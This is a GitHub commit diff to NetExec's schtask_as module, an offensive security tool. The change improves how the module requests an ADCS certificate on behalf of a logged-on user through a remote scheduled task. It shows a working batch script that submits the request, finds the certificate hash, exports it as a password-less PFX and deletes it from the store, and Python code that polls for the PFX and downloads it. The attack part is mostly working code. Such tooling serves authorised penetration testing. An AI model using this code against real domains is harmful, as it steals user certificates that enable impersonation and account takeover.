Skip to content

Commit 003043a

Browse files
authored
Merge pull request Pennyw0rth#962 from azoxlpf/enhancement/schtask_as-adcs-reliability
feat(schtask_as): improve ADCS certificate handling and PFX retrieval
2 parents bdd3722 + 37868a1 commit 003043a

1 file changed

Lines changed: 47 additions & 25 deletions

File tree

nxc/modules/schtask_as.py

Lines changed: 47 additions & 25 deletions
Original file line numberDiff line numberDiff line change
@@ -18,6 +18,7 @@ class NXCModule:
1818
Modified by @Defte_ so that we can upload a custom binary to execute using the BINARY option (28/04/2025)
1919
Modified by @SGMG11 to execute the task without output
2020
Modified by @Defte_ to add certificate request on behalf of someone options
21+
Modified by @Azoxlpf to improve ADCS certificate handling and PFX retrieval (17/10/2025)
2122
"""
2223
name = "schtask_as"
2324
description = "Remotely execute a scheduled task as a logged on user"
@@ -90,31 +91,35 @@ def on_admin_login(self, context, connection):
9091

9192
tmp_share = self.share.replace("$", ":")
9293
full_path_prefixed_file = f"{tmp_share}\\{self.output_file_location}\\{self.output_filename}"
93-
batch_file = BytesIO(dedent(f"""
94+
batch_file = BytesIO(dedent(rf"""
9495
@echo off
9596
setlocal enabledelayedexpansion
9697
97-
certreq -new {full_path_prefixed_file}.inf {full_path_prefixed_file}.req > nul
98-
certreq -submit -config {self.ca_name} {full_path_prefixed_file}.req {full_path_prefixed_file}.cer > nul
99-
98+
set "BASE={full_path_prefixed_file}"
99+
certreq -new "%BASE%.inf" "%BASE%.req" > nul
100+
certreq -submit -config "{self.ca_name}" "%BASE%.req" "%BASE%.cer" > nul
101+
certutil -user -addstore my "%BASE%.cer" > nul
100102
set "HASH="
103+
for /f "tokens=2 delims=:" %%A in ('
104+
certutil -user -store my ^| findstr /r /c:"Hach\. cert\." /c:"Cert Hash"
105+
') do (
106+
set "tmp=%%A"
107+
set "tmp=!tmp: =!"
108+
set "HASH=!tmp!"
109+
)
101110
102-
for /f "usebackq tokens=* delims=" %%L in (`certreq -accept {full_path_prefixed_file}.cer`) do (
103-
set "line=%%L"
104-
105-
for /f "tokens=2* delims=:" %%X in ("!line!") do (
106-
set "candidate=%%X"
107-
set "candidate=!candidate:~1!"
108-
echo !candidate! | findstr /R "^[0-9A-Fa-f][0-9A-Fa-f]*" > nul
109-
if not errorlevel 1 (
110-
if "!candidate:~40!"=="" (
111-
set "HASH=!candidate!"
112-
certutil -user -exportPFX -p "" !HASH! {full_path_prefixed_file}.pfx > nul
113-
)
114-
)
115-
)
111+
if "!HASH!"=="" (
112+
exit /b 1
113+
)
114+
certutil -user -repairstore my !HASH! > nul 2>&1
115+
certutil -user -exportPFX -p "" -f my !HASH! "%BASE%.pfx" NoChain,NoRoot > nul 2>&1
116+
certutil -user -delstore my !HASH! > nul 2>&1
117+
118+
if exist "%BASE%.pfx" (
119+
exit /b 0
120+
) else (
121+
exit /b 2
116122
)
117-
exit
118123
""").encode())
119124
connection.conn.putFile(self.share, f"{self.output_file_location}\\{self.output_filename}.bat", batch_file.read)
120125
self.logger.success("Upload batch file successfully")
@@ -217,19 +222,36 @@ def on_admin_login(self, context, connection):
217222
self.logger.fail(f"Error deleting {self.output_file_location}{self.binary_to_upload_name} on {self.share}: {e}")
218223

219224
if self.ca_name and self.template_name:
220-
221225
dump_path = path.join(NXC_PATH, "modules/schtask_as")
222226
if not path.isdir(dump_path):
223227
makedirs(dump_path)
224228

225-
# This sleep is required as the computing of the pfx file takes some time
226-
sleep(2)
227-
with open(path.join(dump_path, f"{self.run_task_as}.pfx"), "wb+") as dump_file:
229+
pfx_local_path = path.join(dump_path, f"{self.run_task_as}.pfx")
230+
pfx_remote_path = f"{self.output_file_location}\\{self.output_filename}.pfx"
231+
232+
# Polling loop to wait for the PFX to be ready (avoid fixed sleep)
233+
pfx_fetched = False
234+
last_exception = None
235+
max_wait_seconds = 15
236+
self.logger.debug(f"Waiting up to {max_wait_seconds}s for remote PFX: {pfx_remote_path}")
237+
for second in range(max_wait_seconds):
228238
try:
229-
connection.conn.getFile(self.share, f"{self.output_file_location}\\{self.output_filename}.pfx", dump_file.write)
239+
# try to download; open local file only on success
240+
with open(pfx_local_path, "wb+") as dump_file:
241+
connection.conn.getFile(self.share, pfx_remote_path, dump_file.write)
242+
pfx_fetched = True
230243
self.logger.success(f"PFX file stored in {dump_path}/{self.run_task_as}.pfx")
244+
break
231245
except Exception as e:
232-
self.logger.fail(f"Error while getting {self.output_file_location}\\{self.output_filename}.pfx: {e}")
246+
last_exception = e
247+
# not ready yet (or other transient error) — sleep and retry
248+
if second % 5 == 0:
249+
# log every 5s to avoid spamming
250+
self.logger.debug(f"PFX not available yet (attempt {second + 1}/{max_wait_seconds}): {e}")
251+
sleep(1)
252+
253+
if not pfx_fetched:
254+
self.logger.fail(f"Timed out after {max_wait_seconds}s waiting for {pfx_remote_path}. Last error: {last_exception}")
233255

234256
for ext in [".bat", ".inf", ".cer", ".req", ".rsp", ".pfx", ""]:
235257
try:

0 commit comments

Comments
 (0)